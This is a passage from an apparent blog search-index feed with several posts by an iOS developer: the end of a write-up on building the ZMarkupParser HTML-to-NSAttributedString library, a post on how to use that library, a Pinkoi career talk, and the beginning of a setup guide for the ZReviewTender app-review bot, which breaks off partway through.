Moctezuma</td> <td>Francisco Chang</td> <td>Mexico</td> </tr></table>Testing shows that the native NSAttributedString.DocumentType.html uses the Private macOS API NSTextBlock to complete the display, thus it can fully display the HTML table style and content. A bit of cheating! We can’t use Private API 🥲 func visit(_ markup: TableColumnMarkup) -> Result { let attributedString = collectAttributedString(markup) let siblingColumns = markup.parentMarkup?.childMarkups.filter({ $0 is TableColumnMarkup }) ?? [] let position = (siblingColumns.firstIndex(where: { $0 === markup }) ?? 0) // Whether to specify the desired width externally, can set .max to not truncate string var maxLength: Int? = markup.fixedMaxLength if maxLength == nil { // If not specified, find the string length of the same column in the first row as the max length if let tableRowMarkup = markup.parentMarkup as? TableRowMarkup, let firstTableRow = tableRowMarkup.parentMarkup?.childMarkups.first(where: { $0 is TableRowMarkup }) as? TableRowMarkup { let firstTableRowColumns = firstTableRow.childMarkups.filter({ $0 is TableColumnMarkup }) if firstTableRowColumns.indices.contains(position) { let firstTableRowColumnAttributedString = collectAttributedString(firstTableRowColumns[position]) let length = firstTableRowColumnAttributedString.string.utf16.count maxLength = length } } } if let maxLength = maxLength { // If the field exceeds maxLength, truncate the string if attributedString.string.utf16.count > maxLength { attributedString.mutableString.setString(String(attributedString.string.prefix(maxLength))+\"...\") } else { attributedString.mutableString.setString(attributedString.string.padding(toLength: maxLength, withPad: \" \", startingAt: 0)) } } if position < siblingColumns.count - 1 { // Add spaces as spacing, the width of the spacing can be specified externally attributedString.append(makeString(in: markup, string: String(repeating: \" \", count: markup.spacing))) } return attributedString } func visit(_ markup: TableRowMarkup) -> Result { let attributedString = collectAttributedString(markup) attributedString.append(makeBreakLine(in: markup)) // Add line break, for details refer to Source Code return attributedString } func visit(_ markup: TableMarkup) -> Result { let attributedString = collectAttributedString(markup) attributedString.append(makeBreakLine(in: markup)) // Add line break, for details refer to Source Code attributedString.insert(makeBreakLine(in: markup), at: 0) // Add line break, for details refer to Source Code return attributedString }The final presentation effect is as follows:not perfect, but acceptable.Complex Rendering Items — ImageFinally, let’s talk about the biggest challenge, loading remote images into NSAttributedString.Use <img> to represent images in HTML:<img src=\"https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg\" width=\"300\" height=\"125\"/>You can specify the desired display size through the width / height HTML attributes.Displaying images in NSAttributedString is much more complicated than imagined; and there is no good implementation. Previously, when doing UITextView text wrapping, I encountered some pitfalls, but after researching again, I found that there is still no perfect solution.For now, let’s ignore the issue that NSTextAttachment natively cannot reuse and release memory. We will first implement downloading images from remote and placing them into NSTextAttachment, then into NSAttributedString, and achieve automatic content updates.This series of operations is split into another small project for better optimization and reuse in other projects in the future:Mainly referring to Asynchronous NSTextAttachments series of articles for implementation, but replacing the final content update part (refreshing the UI after downloading) and adding Delegate/DataSource for external extension use.Operation flow and relationship as shown in the figure above: Declare ZNSTextAttachmentable object, encapsulating NSTextStorage object (UITextView built-in) and UILabel itself (UILabel has no NSTextStorage)The operation method is only to implement replace attributedString from NSRange. (func replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment)) The principle is to use ZNSTextAttachment to package imageURL, PlaceholderImage, and the size information to be displayed, then directly display the image with placeHolder When the system needs this image on the screen, it will call the image(forBounds… method, at which point we start downloading the Image Data DataSource goes out to let the external decide how to download or implement the Image Cache Policy, by default directly using URLSession to request image Data After downloading, create a new ZResizableNSTextAttachment and implement the custom image size logic in attachmentBounds(for… Call the replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) method to replace the ZNSTextAttachment position with ZResizableNSTextAttachment Issue didLoad Delegate notification, allowing external connection if needed Complete For detailed code, refer to Source Code.The reason for not using NSLayoutManager.invalidateLayout(forCharacterRange: range, actualCharacterRange: nil) or NSLayoutManager.invalidateDisplay(forCharacterRange: range) to refresh the UI is that the UI did not correctly display the update; since the Range is known, directly triggering the replacement of NSAttributedString ensures the UI is correctly updated.The final display result is as follows:<span style=\"color:red\">こんにちは</span>こんにちはこんにちは <br /><img src=\"https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg\"/>Testing & Continuous IntegrationIn this project, in addition to writing Unit Tests, Snapshot Tests were also established for integration testing to facilitate comprehensive testing and comparison of the final NSAttributedString.The main functional logic has UnitTests and integration tests. The final Test Coverage is around 85%.ZMarkupParser — codecovSnapshot TestDirectly use the framework:import SnapshotTesting// ...func testShouldKeppNSAttributedString() { let parser = ZHTMLParserBuilder.initWithDefault().build() let textView = UITextView() textView.frame.size.width = 390 textView.isScrollEnabled = false textView.backgroundColor = .white textView.setHtmlString(\"html string...\", with: parser) textView.layoutIfNeeded() assertSnapshot(matching: textView, as: .image, record: false)}// ...Directly compare the final result to see if it meets expectations, ensuring that the integration adjustments are not abnormal.Codecov Test CoverageIntegrate Codecov.io (free for Public Repo) to evaluate Test Coverage. Just install the Codecov Github App & configure it.After setting up Codecov <-> Github Repo, you can also add codecov.yml to the root directory of the projectcomment: # this is a top-level key layout: \"reach, diff, flags, files\" behavior: default require_changes: false # if true: only post the comment if coverage changes require_base: no # [yes :: must have a base report to post] require_head: yes # [yes :: must have a head report to post]Configuration file, this can enable the CI results to be automatically commented on the content after each PR is issued.Continuous IntegrationGithub Action, CI integration: ci.ymlname: CIon: workflow_dispatch: pull_request: types: [opened, reopened] push: branches: - mainjobs: build: runs-on: self-hosted steps: - uses: actions/checkout@v3 - name: spm build and test run: | set -o pipefail xcodebuild test -workspace ZMarkupParser.xcworkspace -testPlan ZMarkupParser -scheme ZMarkupParser -enableCodeCoverage YES -resultBundlePath './scripts/TestResult.xcresult' -destination 'platform=iOS Simulator,name=iPhone 14,OS=16.1' build test | xcpretty - name: Codecov uses: codecov/codecov-action@v3.1.1 with: xcode: true xcode_archive_path: './scripts/TestResult.xcresult'This configuration runs build and test when PR is opened/reopened or push to the main branch, and finally uploads the test coverage report to codecov.RegexRegarding regular expressions, each use improves it further; this time, not much was used, but because I originally wanted to use a regex to extract paired HTML Tags, I also studied how to write it.Some new cheat sheet notes learned this time… ?: allows ( ) to match group results but not capture theme.g. (?:https?:\\/\\/)?(?:www\\.)?example\\.com will return the entire URL in https://www.example.com instead of https://, www .+? non-greedy match (returns the nearest)e.g. <.+?> will return <a>, </a> in <a>test</a> instead of the entire string (?=XYZ) any string until the XYZ string appears; note that another similar one [^XYZ] means any string until X or Y or Z character appearse.g. (?:__)(.+?(?=__))(?:__) (any string until __) will match test ?R recursively finds values with the same rulee.g. \\((?:[^()]|((?R)))+\\) will match (simple), (and(nested)), (nested) in (simple) (and(nested)) ?<GroupName> … \\k<GroupName> matches the previous Group Namee.g. (?<tagName><a>).*(\\k<GroupName>) (?(X)yes|no) matches the condition yes if the X match result has a value (can also use Group Name), otherwise matches noSwift does not support this yetOther good articles on Regex: Swift Regex Quick Reference How do regular expressions work? -> Can refer to this when optimizing the regex performance of this project later Case of Regex error causing infinite search, eventually leading to server failure Regex101 bottom right corner can query all regex rulesSwift Package Manager & CocoapodsThis is also my first time developing with SPM & Cocoapods… It’s quite interesting, SPM is really convenient; but if you encounter a situation where two projects depend on the same package, opening both projects at the same time will result in one of them not finding the package and failing to build…Cocoapods has uploaded ZMarkupParser but hasn’t tested if it’s working properly, because I’m using SPM 😝.ChatGPTFrom the actual development experience, I found it most useful only when assisting in editing the Readme; in development, I haven’t felt any significant impact yet. When asking mid-senior level questions, it couldn’t provide a definite answer or even gave incorrect answers (I encountered some incorrect regex rules). So, in the end, I still turned to Google for the correct answers.Not to mention asking it to write code, unless it’s simple Code Gen Object; otherwise, don’t expect it to complete the entire tool architecture directly. (At least for now, it seems that Copilot might be more helpful for writing code)However, it can provide a general direction for knowledge blind spots, allowing us to quickly get a rough idea of how certain things should be done. Sometimes, when the understanding is too low, it’s hard to quickly pinpoint the correct direction on Google, and that’s when ChatGPT is quite helpful.DisclaimerAfter more than three months of research and development, I am exhausted, but I still need to declare that this approach is only a feasible result obtained after my research. It is not necessarily the best solution, and there may still be areas for optimization. This project is more like a starting point, hoping to get a perfect solution for Markup Language to NSAttributedString. Everyone is very welcome to contribute; many things still need the power of the community to be perfected.ContributingZMarkupParser ⭐Here are some areas that I think can be improved as of now (2023/03/12), and will be recorded in the Repo later: Optimization of performance/algorithm, although it is faster and more stable than the native NSAttributedString.DocumentType.html; there is still much room for optimization. I believe the performance is definitely not as good as XMLParser; I hope one day it can have the same performance while maintaining customization and automatic error correction. Support for more HTML Tag, Style Attribute conversion parsing Further optimization of ZNSTextAttachment, implementing reuse capability, releasing memory; may need to research CoreText Support for Markdown parsing, as the underlying abstraction is not limited to HTML; so as long as the front-end Markdown to Markup object is built, Markdown parsing can be completed; hence I named it ZMarkupParser, not ZHTMLParser, hoping that one day it can also support Markdown to NSAttributedString Support for Any to Any, e.g. HTML To Markdown, Markdown To HTML, as we have the original AST tree (Markup object), so achieving conversion between any Markup is possible Implement css !important functionality, enhancing the inheritance strategy of abstract MarkupStyle Enhance HTML Selector functionality, currently, it is just the most basic filter functionality Many more, welcome to open issue If you are willing but unable to contribute, you can also give me a ⭐ to make the Repo more visible, so that GitHub experts have the opportunity to help contribute!SummaryZMarkupParserHere are all the technical details and the journey of developing ZMarkupParser. It took me almost three months of after-work and weekend time, countless research and practice, writing tests, improving Test Coverage, and setting up CI; finally, there is a somewhat decent result. I hope this tool solves the same problems for others and that everyone can help make this tool even better.pinkoi.comIt is currently applied in our company’s pinkoi.com iOS App version, and no issues have been found. 😄Further Reading ZMarkupParser HTML String to NSAttributedString Tool String Rendering Asynchronous NSTextAttachmentsIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "ZMarkupParser HTML String to NSAttributedString Tool", "url": "/posts/a5643de271e4/", "categories": "ZRealm, Dev.", "tags": "html-parser, nsattributedstring, ios-app-development, html, markdown", "date": "2023-02-26 17:03:07 +0800", "snippet": "ZMarkupParser HTML String to NSAttributedString ToolConvert HTML String to NSAttributedString with corresponding Key style settingsZhgChgLi / ZMarkupParserZhgChgLi / ZMarkupParserFeatures Develope...", "content": "ZMarkupParser HTML String to NSAttributedString ToolConvert HTML String to NSAttributedString with corresponding Key style settingsZhgChgLi / ZMarkupParserZhgChgLi / ZMarkupParserFeatures Developed purely in Swift, parses HTML Tags using Regex and Tokenization, corrects tag errors (fixes unclosed tags & misaligned tags), converts to an abstract syntax tree, and finally uses the Visitor Pattern to map HTML Tags to abstract styles, resulting in the final NSAttributedString output; does not rely on any Parser Lib. Supports HTML Render (to NSAttributedString) / Stripper (removes HTML Tags) / Selector functionality Automatically corrects tag errors (fixes unclosed tags & misaligned tags)<br> -> <br/><b>Bold<i>Bold+Italic</b>Italic</i> -> <b>Bold<i>Bold+Italic</i></b><i>Italic</i><Congratulation!> -> <Congratulation!> (treat as String) Supports custom style specificationse.g. <b></b> -> weight: .semibold & underline: 1 Supports custom HTML Tag parsinge.g. parse <zhgchgli></zhgchgli> into desired styles Includes architecture design for easy HTML Tag extensionCurrently supports basic styles, as well as ul/ol/li lists and hr separators. Future support for other HTML Tags can be quickly added. Supports style parsing from style HTML AttributeHTML can specify text styles from the style attribute, and this tool also supports style specifications from stylee.g. <b style=”font-size: 20px”></b> -> bold + font size 20 px Supports iOS/macOS Supports HTML Color Name to UIColor/NSColor Test Coverage: 80%+ Supports parsing of <img> images, <ul> lists, <table> tables, etc. Higher performance than NSAttributedString.DocumentType.htmlPerformance BenchmarkPerformance Benchmark Test Environment: 2022/M2/24GB Memory/macOS 13.2/XCode 14.1 X-axis: Number of HTML characters Y-axis: Time taken to render (seconds)*Additionally, NSAttributedString.DocumentType.html crashes with strings longer than 54,600+ characters (EXC_BAD_ACCESS).DemoYou can directly download the project, open ZMarkupParser.xcworkspace, select the ZMarkupParser-Demo target, and Build & Run to test the effects.InstallationSupports SPM/Cocoapods, please refer to the Readme.UsageStyle DeclarationMarkupStyle/MarkupStyleColor/MarkupStyleParagraphStyle, corresponding to the encapsulation of NSAttributedString.Key.var font: MarkupStyleFontvar paragraphStyle: MarkupStyleParagraphStylevar foregroundColor: MarkupStyleColor? = nilvar backgroundColor: MarkupStyleColor? = nilvar ligature: NSNumber? = nilvar kern: NSNumber? = nilvar tracking: NSNumber? = nilvar strikethroughStyle: NSUnderlineStyle? = nilvar underlineStyle: NSUnderlineStyle? = nilvar strokeColor: MarkupStyleColor? = nilvar strokeWidth: NSNumber? = nilvar shadow: NSShadow? = nilvar textEffect: String? = nilvar attachment: NSTextAttachment? = nilvar link: URL? = nilvar baselineOffset: NSNumber? = nilvar underlineColor: MarkupStyleColor? = nilvar strikethroughColor: MarkupStyleColor? = nilvar obliqueness: NSNumber? = nilvar expansion: NSNumber? = nilvar writingDirection: NSNumber? = nilvar verticalGlyphForm: NSNumber? = nil...You can declare the styles you want to apply to the corresponding HTML tags:let myStyle = MarkupStyle(font: MarkupStyleFont(size: 13), backgroundColor: MarkupStyleColor(name: .aquamarine))HTML TagDeclare the HTML tags to be rendered and the corresponding Markup Style. The currently predefined HTML tag names are as follows:A_HTMLTagName(), // <a></a>B_HTMLTagName(), // <b></b>BR_HTMLTagName(), // <br></br>DIV_HTMLTagName(), // <div></div>HR_HTMLTagName(), // <hr></hr>I_HTMLTagName(), // <i></i>LI_HTMLTagName(), // <li></li>OL_HTMLTagName(), // <ol></ol>P_HTMLTagName(), // <p></p>SPAN_HTMLTagName(), // <span></span>STRONG_HTMLTagName(), // <strong></strong>U_HTMLTagName(), // <u></u>UL_HTMLTagName(), // <ul></ul>DEL_HTMLTagName(), // <del></del>IMG_HTMLTagName(handler: ZNSTextAttachmentHandler), // <img> and image downloaderTR_HTMLTagName(), // <tr>TD_HTMLTagName(), // <td>TH_HTMLTagName(), // <th>...and more...This way, when parsing the <a> Tag, it will apply the specified MarkupStyle.Extend HTMLTagName:let zhgchgli = ExtendTagName(\"zhgchgli\")HTML Style AttributeAs mentioned earlier, HTML supports specifying styles from the Style Attribute. Here, it is abstracted to specify supported styles and extensions. The currently predefined HTML Style Attributes are as follows:ColorHTMLTagStyleAttribute(), // colorBackgroundColorHTMLTagStyleAttribute(), // background-colorFontSizeHTMLTagStyleAttribute(), // font-sizeFontWeightHTMLTagStyleAttribute(), // font-weightLineHeightHTMLTagStyleAttribute(), // line-heightWordSpacingHTMLTagStyleAttribute(), // word-spacing...Extend Style Attribute:ExtendHTMLTagStyleAttribute(styleName: \"text-decoration\", render: { value in var newStyle = MarkupStyle() if value == \"underline\" { newStyle.underline = NSUnderlineStyle.single } else { // ... } return newStyle})Usageimport ZMarkupParserlet parser = ZHTMLParserBuilder.initWithDefault().set(rootStyle: MarkupStyle(font: MarkupStyleFont(size: 13)).build()initWithDefault will automatically add predefined HTML Tag Names & default corresponding MarkupStyles as well as predefined Style Attributes.set(rootStyle:) can specify the default style for the entire string, or it can be left unspecified.Customizationlet parser = ZHTMLParserBuilder.initWithDefault().add(ExtendTagName(\"zhgchgli\"), withCustomStyle: MarkupStyle(backgroundColor: MarkupStyleColor(name: .aquamarine))).build() // will use markupstyle you specify to render extend html tag <zhgchgli></zhgchgli>let parser = ZHTMLParserBuilder.initWithDefault().add(B_HTMLTagName(), withCustomStyle: MarkupStyle(font: MarkupStyleFont(size: 18, weight: .style(.semibold)))).build() // will use markupstyle you specify to render <b></b> instead of default bold markup styleHTML Renderlet attributedString = parser.render(htmlString) // NSAttributedString// work with UITextViewtextView.setHtmlString(htmlString)// work with UILabellabel.setHtmlString(htmlString)HTML Stripperparser.stripper(htmlString)Selector HTML Stringlet selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>selector.first(\"a\")?.first(\"b\").attributedString // will return Testselector.filter(\"a\").attributedString // will return Test Link// render from selector resultlet selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>parser.render(selector.first(\"a\")?.first(\"b\"))AsyncAdditionally, if you need to render long strings, you can use the async method to prevent UI blocking.parser.render(String) { _ in }...parser.stripper(String) { _ in }...parser.selector(String) { _ in }...Know-how The hyperlink style in UITextView depends on linkTextAttributes, so there might be cases where NSAttributedString.key is set but has no effect. UILabel does not support specifying URL styles, so there might be cases where NSAttributedString.key is set but has no effect. If you need to render complex HTML, you still need to use WKWebView (including JS/tables rendering).Technical principles and development story: “The Story of Handcrafting an HTML Parser”Contributions and Issues are welcome and will be promptly addressedFor any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk", "url": "/posts/4b9d09cea5f0/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, pinkoi, open-house, tech-career, career-advice", "date": "2022-12-02 16:11:49 +0800", "snippet": "Pinkoi 2022 Open House for GenZ — 15 Mins Career TalkPinkoi Developers’ Night 2022 Year-End Exchange Meeting — 15 Minutes Career Sharing TalkPinkoi Developers’ Night 2022 Year-End Exchange MeetingE...", "content": "Pinkoi 2022 Open House for GenZ — 15 Mins Career TalkPinkoi Developers’ Night 2022 Year-End Exchange Meeting — 15 Minutes Career Sharing TalkPinkoi Developers’ Night 2022 Year-End Exchange MeetingEvent Link: LinkedinMain Audience: Students from various universities and colleges majoring in information-related fieldsLocation and Time: 2022/12/01 7:00 PM — 9:00 PMSharing Duration: 15 minsAbout MeCurrently serving as Pinkoi Platform (App) Engineer Lead and iOS Engineer, previously worked at StreetVoice, Addcn Technology (listed company 5287), Startup; self-taught web programming since vocational high school, won the National Skills Competition web design category championship and was a reserve national representative, graduated from the Department of Information Management at National Taiwan University of Science and Technology, transitioned to iOS App development in 2017.Passionate about exploration and technical exchange, also writes about daily life or unboxing experiences, welcome to follow my Medium Blog.Pinkoi Engineer Daily Life — ProductsPinkoi products support desktop, mobile, iOS, Android platforms, and six languages: Traditional Chinese, Hong Kong Traditional, Simplified Chinese, Japanese, Thai, and English.Behind the scenes, there are 8+ squad teams responsible for different aspects of work, such as: Buyer Squad for the buyer side, Seller Squad for the seller side, Platform Squad for the underlying platform, AI Squad for algorithms, etc., working together to build Pinkoi products.Pinkoi Engineer Daily Life — ToolsNote: This image does not represent a comprehensive or up-to-date Tech StackTo do a good job, one must first sharpen one’s tools. The above image lists the Tech Stack and tools/services used by the Pinkoi development team; it also lists cross-team collaboration tools such as Slack, Asana, Figma, etc.As the team size grows, there will be more times when communication or repetitive work is needed. At this time, by introducing tool services, we can effectively untangle the connections between people and increase team work efficiency.Pinkoi Engineer Daily — Behind the “Success” and “Merit”At Pinkoi, although engineers are assigned to various Squad Teams, they still work together with one heart, Win as a team, we are still the same family.Pinkoi Engineer Daily — Behind the “Success” and “Merit”Teammates with the same functions (e.g. iOS/Android/BE/FE/Data…) not only hold regular technical exchange sharing sessions, but also conduct Code Reviews and System Design discussions in daily development; discussing together, growing together!The “Guai Guai” tattoo sticker in the middle of the picture is a blessing ceremony for the launch of the team’s “Gift List” feature and the “2022 Pinkoi Design Fest” event, ensuring the service is safe and stable.How do Engineers help advance business goals?In addition to completing tasks, Engineers have many ways to help advance business goals:First, aside from the Engineer role, starting from oneself; we can propose our own life usage experiences and various creative ideas during the project planning period. For example, observing friends’ usage habits or new trendy cool things (e.g. iOS 16 Dynamic Island), brainstorming together might turn an ordinary feature into a new highlight!Then back to engineering itself, the first is of course the essential development ability. Good development ability can maintain scalability and stability, reduce technical debt, and lower future maintenance costs, indirectly increasing business value. Similarly, the correct technical choices can maximize value with limited development resources; all these require a lot of hard skills and experience accumulation.In addition, leveraging communication and coordination skills can make cross-engineering discussions more efficient, and leveraging collaboration skills can reduce rework; all can greatly increase team output and further advance business goals.In summary, engineers definitely do not only create value by writing code.How do Engineers help advance business goals?At Pinkoi, Squad Team Sync-ups or project discussion meetings involve not only engineers but also designers, PMs, and analysts, participating in project discussions together; everyone can propose their own ideas, sparking different inspirations.As an Engineer, why choose to join a startup culture rather than a traditional large company…?From personal experience, startup culture (also in Pinkoi) has five characteristics: Transparency Everyone can clearly know the company’s operating status, decisions, and future plans. Equality Flat management, no hierarchical pressure.Everyone can express opinions and participate in discussions regardless of position. Vision Grow with the team, from a small team to an international team, broadening horizons.Combining transparency and equality, you can understand more aspects of the details. Flexibility - Flexibility in work:Flexible working hours, WFH flexibility, or flexible discussion space in communication and collaboration.- Flexibility in roles:More flexibility to try different possibilities.More flexibility for promotions. Vibrancy The average age is relatively young and energetic, making it easier to resonate and spark ideas, and more likely to promote and accept changes.These characteristics are relatively rare in traditional large companies. Traditional companies are mostly more closed and rigid, with little room for suggestions, limited things to see and do, and more resistant to new changes and attempts; it is relatively difficult for energetic newcomers to perform.A little advice for fresh graduates who want to become software engineers…Engineer at 28 vs. Engineer at 46 (Elon Musk was also an engineer); although it’s a meme, it means that what kind of engineer you want to become is up to you.A little advice for fresh graduates who want to become software engineers…Besides having lean development skills, I believe the mindset is even more important. Life is a journey with many stages and roles to fulfill. The first is to constantly step out of your comfort zone and be prepared to face higher challenges. For example, I initially started as a backend engineer, then transitioned to iOS development, and now I’m starting to take on management roles.The second is the exploration of direction. Do not limit yourself; everyone has infinite possibilities. You can continuously adjust to find the direction that suits you and shine in your area of expertise. We have teammates who switched to engineering later in their careers or transitioned from designers to PMs. Additionally, think about what role you want to play at 30 or 40 years old, such as continuing to delve into technology to become an architect/Tech Lead or taking on management roles.Also, lifelong learning is essential. Knowledge is endless, especially in the information industry, which is ever-changing. Without seeking innovation and change, it’s easy to be eliminated by the industry.Lastly, maintaining a balance between work and life is also crucial. Work Hard, Play Hard not only improves work efficiency but also allows you to draw inspiration from life experiences. As mentioned earlier, a small idea might change the world and create higher commercial value!I advise newcomers to choose carefully for their first few jobs. The sunk cost is very low when you first enter society. Prioritize finding a job where you can learn something. Try to join companies that develop their own products (e.g., Pinkoi /Line/StreetVoice…) and avoid changing jobs too frequently (stay for at least a year). This will be very beneficial for your future career. Life is long, and I hope everyone finds their own path. Thank you.Join Pinkoi now »> https://www.pinkoi.com/about/careersBehind the ScenesIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "ZReviewTender — Free Open Source App Reviews Monitoring Bot", "url": "/posts/e36e48bb9265/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, app-store, google-play, app-review, automation", "date": "2022-08-10 19:56:05 +0800", "snippet": "ZReviewTender — Free Open Source App Reviews Monitoring BotReal-time monitoring of the latest app reviews and providing instant feedback to improve collaboration efficiency and consumer satisfactio...", "content": "ZReviewTender — Free Open Source App Reviews Monitoring BotReal-time monitoring of the latest app reviews and providing instant feedback to improve collaboration efficiency and consumer satisfactionZhgChgLi / ZReviewTenderZhgChgLi / ZReviewTenderApp Reviews to Slack ChannelZReviewTender — Automatically monitors the latest user reviews of App Store iOS/macOS apps and Google Play Android apps, and provides continuous integration tools to integrate into team workflows, improving collaboration efficiency and consumer satisfaction.Key Features Retrieve review lists from App Store iOS/macOS apps and Google Play Android apps and filter out the latest reviews that have not been crawled yet [Default Feature] Forward the latest crawled reviews to Slack, and click the message timestamp link to quickly enter the backend to reply to reviews [Default Feature] Support using Google Translate API to automatically translate reviews from non-specified languages/regions into your language [Default Feature] Support automatic recording of reviews to Google Sheets Support flexible expansion, in addition to the included default features, you can still develop the required features according to the team workflow and integrate them into the tool e.g. Forward reviews to Discord, Line, Telegram… Use timestamps to record crawl positions to prevent duplicate crawling of reviews Support filtering features, you can specify to crawl only reviews with certain ratings, containing certain keywords, or from certain regions/languages Apple provides a stable and reliable source of App Store app review data based on the new App Store Connect API, no longer relying on unreliable XML data or Fastlane Spaceship sessions that expire and require regular manual maintenance Android also uses the official AndroidpublisherV3 API to fetch review data Support deployment using Github Repo w/ Github Action, allowing you to quickly and freely set up the ZReviewTender App Reviews bot 100% Ruby @ RubyGemComparison with Similar ServicesApp Reviews Workflow Integration Example (in Pinkoi)Problem:Reviews in the marketplace are very important for products, but it is a very manual and repetitive task to communicate and refer.Because you have to manually check for new reviews from time to time, and if there are customer service issues, forward them to customer service for assistance. It’s repetitive and manual.Through the ZReviewTender review bot, reviews are automatically forwarded to the Slack Channel, allowing everyone to quickly receive the latest review information, and track and discuss in real-time. It also allows the entire team to understand the current user reviews and suggestions for the product.For more information, refer to: 2021 Pinkoi Tech Career Talk — High-Efficiency Engineering Team Demystified.Deployment — Using Default Features OnlyIf you only need the default features of ZReviewTender (to Slack/Google Translate/Filter), you can use the following quick deployment method.ZReviewTender has been packaged and released on RubyGems, and you can quickly and easily install and use ZReviewTender with RubyGems.[Recommended] Deploy Directly Using Github Repo Template No hosting space required ✅ No environment requirements ✅ No need to understand engineering principles ✅ Complete the Config file configuration to complete the deployment ✅ Deployment can be completed in 8 steps ✅ Completely free ✅Github Action provides each account with 2,000+ minutes/month of execution time. Running ZReviewTender review fetching once only takes about 15-30 seconds.By default, it runs every 6 hours, 4 times a day, consuming only about 60 minutes per month.Github Private Repo can be created without any limit for free. Go to the ZReviewTender Template Repo: ZReviewTender-deploy-with-github-actionClick the “Use this template” button at the top right. Create Repo Repository name: Enter the name of the Repo project you want Access: Private ⚠️⚠️ Be sure to create a Private Repo ⚠️⚠️ Because you will upload settings and private keys to the projectFinally, click the “Create repository from template” button at the bottom. Confirm that your created Repo is a Private RepoConfirm that the Repo name at the top right shows “🔒” and the Private label.If not, it means you created a Public Repo which is very dangerous, please go to the top Tab “Settings” -> “General” -> Bottom “Danger Zone” -> “Change repository visibility” -> “Make private” to change it back to Private Repo. Wait for Project init to succeedYou can check the Badge in the Readme on the Repo homepageIf it shows passing, it means init was successful.Or click the top Tab “Actions” -> wait for the “Init ZReviewTender” Workflow to complete:Execution status will change to 3 “✅ Init ZReviewTender” -> Project init successful. Confirm if the init files and directories are correctly createdClick the “Code” tab above to return to the project directory. If the project init is successful, you will see: Directory: config/ File: config/android.yml File: config/apple.yml Directory: latestCheckTimestamp/ File: latestCheckTimestamp/.keep Complete Configuration for android.yml & apple.ymlEnter the config/ directory to complete the configuration of android.yml & apple.yml files.Click to enter the config YML file you want to edit and click the “✏️” in the upper right corner to edit the file.Refer to the “ Settings “ section below to complete the configuration of android.yml & apple.yml.After editing, you can directly save the settings by clicking “Commit changes” below.Upload the corresponding Key files to the config/ directory:In the config/ directory, select “Add file” -> “Upload files” in the upper right corner.Upload the corresponding Key and external file paths configured in the config yml to the config/ directory, drag the files to the “upper block” -> wait for the files to upload -> directly “Commit changes” below to save.After uploading, go back to the /config directory to check if the files are correctly saved & uploaded. Initialize ZReviewTender (manually trigger execution once)Click the “Actions” tab above -> select “ZReviewTender” on the left -> select “Run workflow” on the right -> click the “Run workflow” button to execute ZReviewTender once.After clicking, refresh the webpage and you will see:Click “ZReviewTender” to view the execution status.Expand the “ Run ZreviewTender -r “ block to view the execution log.Here you can see an error because I haven’t configured my config yml file properly.Go back and adjust the android/apple config yml, then return to step 6 and trigger the execution again.Check the log of the “ ZReviewTender -r “ block to confirm successful execution!The Slack channel designated to receive the latest review messages will also show an init success message 🎉 Done! 🎉 🎉 🎉Configuration complete! From now on, the latest reviews within the period will be automatically fetched and forwarded to your Slack channel every 6 hours!You can check the latest execution status at the top of the Readme on the Repo homepage:If an error occurs, it means there was an execution error. Please go to Actions -> ZReviewTender to view the records; if there is an unexpected error, please create an Issue with the record information, and it will be fixed as soon as possible! ❌❌❌ When an error occurs, Github will also send an email notification, so you don’t have to worry about the bot crashing without anyone noticing!Github Action AdjustmentYou can configure the Github Action execution rules according to your needs.Click on the “Actions” tab above -> “ZReviewTender” on the left -> “ ZReviewTender.yml “ on the top rightClick the “✏️” on the top right to edit the file.There are two parameters that can be adjusted:cron: Set how often to check for new reviews. The default is 15 */6 * * *, which means it will run every 6 hours and 15 minutes.You can refer to crontab.guru to configure it according to your needs. Please note: Github Action uses the UTC time zone The higher the execution frequency, the more Github Action execution quota will be consumed run: Set the command to be executed. You can refer to the “ Execution “ section below. The default is ZReviewTender -r Default execution for Android App & Apple (iOS/macOS App): ZReviewTender -r Execute only for Android App: ZReviewTender -g Execute only for Apple (iOS/macOS App) App: ZReviewTender -aAfter editing, click “Start commit” on the top right and select “Commit changes” to save the settings.Manually Trigger ZReviewTenderRefer to the previous section “6. Initialize ZReviewTender (Manually trigger execution once)”Install Using GemIf you are familiar with Gems, you can directly use the following command to install ZReviewTendergem install ZReviewTenderInstall Using Gem (Not familiar with Ruby/Gems)If you are not familiar with Ruby or Gems, you can follow the steps below to install ZReviewTender step by step Although macOS comes with Ruby, it is recommended to use rbenv or rvm to install a new Ruby and manage Ruby versions (I use 2.6.5) Use rbenv or rvm to install Ruby 2.6.5, and switch to rbenv/rvm’s Ruby Use which ruby to confirm that the current Ruby in use is not the system Ruby /usr/bin/ruby Once the Ruby environment is OK, use the following command to install ZReviewTendergem install ZReviewTenderDeployment — Want to Extend Functionality YourselfManual git clone ZReviewTender Source Code Confirm & improve the Ruby environment Enter the directory and run bundle install to install related dependencies for ZReviewTenderThe method for creating a Processor can be referred to in the later content of the article.ConfigurationZReviewTender — Use a yaml file to configure the Apple/Google review bot.[Recommendation] Directly use the command at the bottom of the article — “Generate Configuration File”:ZReviewTender -iDirectly generate blank apple.yml & android.yml configuration files.Apple (iOS/macOS App)Refer to the apple.example.yml file: ⚠️ After downloading apple.example.yml, remember to rename the file to apple.ymlapple.yml:platform: 'apple'appStoreConnectP8PrivateKeyFilePath: '' # APPLE STORE CONNECT API PRIVATE .p8 KEY File PathappStoreConnectP8PrivateKeyID: '' # APPLE STORE CONNECT API PRIVATE KEY IDappStoreConnectIssueID: '' # APPLE STORE CONNECT ISSUE IDappID: '' # APP ID...appStoreConnectIssueID: App Store Connect -> Keys -> App Store Connect API Issuer ID: appStoreConnectIssueIDappStoreConnectP8PrivateKeyID & 